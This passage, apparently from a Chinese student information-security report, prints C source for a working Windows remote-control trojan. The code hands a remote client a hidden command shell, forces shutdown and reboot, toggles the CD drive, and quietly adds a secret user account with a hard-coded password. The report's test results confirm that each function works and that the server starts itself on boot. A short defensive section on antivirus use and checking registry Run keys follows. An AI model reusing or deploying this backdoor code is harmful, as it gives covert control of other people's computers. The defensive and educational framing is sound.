tkp; //Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1;//设置一个权限 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0); ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0); return1;}DWORDshutdownwin98()//关闭Win98程序功能模块{ ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0); return1;}DWORDresetwin98()//重新启动Win98程序功能模块{ ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); return1;}DWORDresetwin2k()//重新启动Win2K程序功能模块{ HANDLE hToken; TOKEN_PRIVILEGES tkp; //Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1;//设置一个权限 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0); ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); return1;}DWORDadduser()//建立秘密帐号程序功能模块{ WinExec("netuseryaoxiangwen0123456789/add",SW_HIDE); //建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码 return1;}//下面为主函数,通过调用各个功能模块来实现木马功能intmain(){ startExeFile();// startSock(); unsignedlongByteRead=0; while(1) { send(sock2,"远程控制系统,请输入你的选择!\n\rcmd>",sizeof("欢迎进入木马远程控制系统,请输入你的选择!\n\rcmd>"),0); ZeroMemory(cmd,1024);//初始化cmd[]缓冲区,用来装客户端发来的指令 ByteRead=0;//接收客户端发来的指令字节数 while(ByteRead<200)//下面是接收客户端发来控制字程序段 { if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//控制字在Buff缓冲区中 { closesocket(sock2); return0; } cmd[ByteRead]=Buff[0]; if(Buff[0]==0xa||Buff[0]==0xd) {//如果控制字最后是回车符表示结束标志,cmd[]数组最后一位为0 cmd[ByteRead]=0; break; } ByteRead++;//指令字节计数 } if(strcmp(cmd,"open")==0) { Open_CDROM();//调用打开光驱模块程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"close")==0) { Close_CDROM(); //调用关闭光驱模块程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"shell")==0) { cmdshell(sock2);//调用CMD进程模块程序 send(sock2,"CreatethecmdShellOK\n\rcmd>",sizeof("CreatethecmdShellOK\n\rcmd>"),0); } elseif(strcmp(cmd,"shutdown98")==0) { shutdownwin98();//调用关闭Win98系统计算机模块程序 send(sock2,"shutdownthewindows98OK\n\rcmd>",sizeof("shutdownthewindows98OK\n\rcmd>"),0); } elseif(strcmp(cmd,"shutdown")==0) { shutdownwin2k();//调用关闭Win2K系统计算机模块程序 send(sock2,"shutdownthewindows2kOK\n\rcmd>",sizeof("shutdownthewindows2kOK\n\rcmd>"),0); } elseif(strcmp(cmd,"reset98")==0) { resetwin98();//调用启动Win98系统计算机模块程序 send(sock2,"resetthewindows98OK\n\rcmd>",sizeof("resetthewindows98OK\n\rcmd>"),0); } elseif(strcmp(cmd,"reset")==0) { resetwin2k();//调用启动Win2K系统计算机模块程序 send(sock2,"resetthewindows2kOK\n\rcmd>",sizeof("resetthewindows2kOK\n\rcmd>"),0); } elseif(strcmp(cmd,"add")==0) { adduser();//调用建立秘密帐号模块程序 send(sock2,"netuseryaoxiangwen0123456789/addOK\n\rcmd>",sizeof("netuserxxdkgao/addOK\n\rcmd>"),0); } elseif(strcmp(cmd,"quit")==0) { //退出木马,并关闭套接字 closesocket(sock2); exit(0); } else { send(sock2,"Badcommand,Pleaseinputthewordtryagain\n\rcmd>",sizeof("Badcommand,Pleaseinputthewordtryagain\n\rcmd>"),0); }//显示输入有误,重新输入 Sleep(10);//延时 } return1;}4.4软件流程图如下图4.3软件流程图
4.5实验结果及结论客户端运行后如下图4.4所示:图4.4运行结果图1、输入“add”命令后,创建用户成功服务器端提示命令成功,运行结果如图4.5所示图4.5运行结果图用命令行查看用户情况,运行结果如图4.6所示。图4.6运行结果图用户“yaoxiangwen”已经成功创建2、输入”shutdown”后,电脑自动关闭成功3、输入”reset”后,电脑自动重启4、输入”close”后,光驱关闭5、输入”open”后,光驱自动打开6、输入”shell”后,查看任务管理器如下图Cmd命令行已经被创建,运行结果如图4.7所示。图4.7运行结果图7、输入quit后,服务器端成功退出8、重启系统后,服务器端成功自动启动,说明软件开机具有自启动功能。信息安全专题设计与实践第5章木马的防范措施
第5章木马的防范措施鉴于木马病毒的隐敝性和潜在的危险性,我们必须提高警惕,从管理上、技术上来做好木马病毒的防护。常见方法如下:(1)使用杀毒软件用户一般选择在计算机上安装专业杀毒软件来防护、查杀病毒。如:瑞星、卡巴斯基、Mcafee等软件。这些软件都有一定的杀毒效果。还有一些专门用于木马病毒的软件如:木马克星、木马杀客等。但是我们也必须认识到病毒的发展性,各种防病毒软件的发展速度总是慢于病毒的发展速度,用户必须经常对杀毒软件升新,更新杀毒软件的病毒库,使杀毒软件具有很强的识“毒”功能。(2)手动清除病毒通过对木马病毒的分析和介绍,知道了木马病毒的隐敝性和传播特点,可以通过手动方式来发现和清除木马。1.查找木马要使你的系统能显示隐藏文件,因为一些木马文件属性是隐藏的。多数木马都会把自身复制到系统目录下并加入启动项(如果不复制到系统目录下则很容易被发现,不加入启动项在重启后木马就不执行了),启动项一般都是加在注册表中的,具体位置在:[6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion下所有以“Run”开头的键值。看看里面有没有可疑或者不认识的程序,那很可能是木马!木马亦可在Win.ini和System.ini的“run=”“、load=”“、shell=”后面加载,如果在这些选项后面加载程序是你不认识的,就有可能是木马。木马最惯用的伎俩就是把“Ex
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年牛津上海版七年级生物下册月考试卷含答案
- 2025年外研版三年级起点九年级历史上册阶段测试试卷含答案
- 2025年粤人版八年级地理上册阶段测试试卷
- 2025年粤教版九年级地理上册月考试卷含答案
- 2025年人教版必修2历史下册阶段测试试卷
- 2025年华东师大版高三历史下册月考试卷含答案
- 2025年统编版2024高三历史上册阶段测试试卷
- 2025年度婚礼摄影服务合同范例汇编4篇
- 2025年度木门产品售后服务与客户满意度调查合同3篇
- 二零二五版绿色生态泥水工程分包合同(含雨水收集利用)4篇
- 道路沥青工程施工方案
- 《田口方法的导入》课件
- 内陆养殖与水产品市场营销策略考核试卷
- 医生给病人免责协议书(2篇)
- 公司没缴社保劳动仲裁申请书
- 损伤力学与断裂分析
- 2024年县乡教师选调进城考试《教育学》题库及完整答案(考点梳理)
- 车借给别人免责协议书
- 应急预案评分标准表
- “网络安全课件:高校教师网络安全与信息化素养培训”
- 锂离子电池健康评估及剩余使用寿命预测方法研究
评论
0/150
提交评论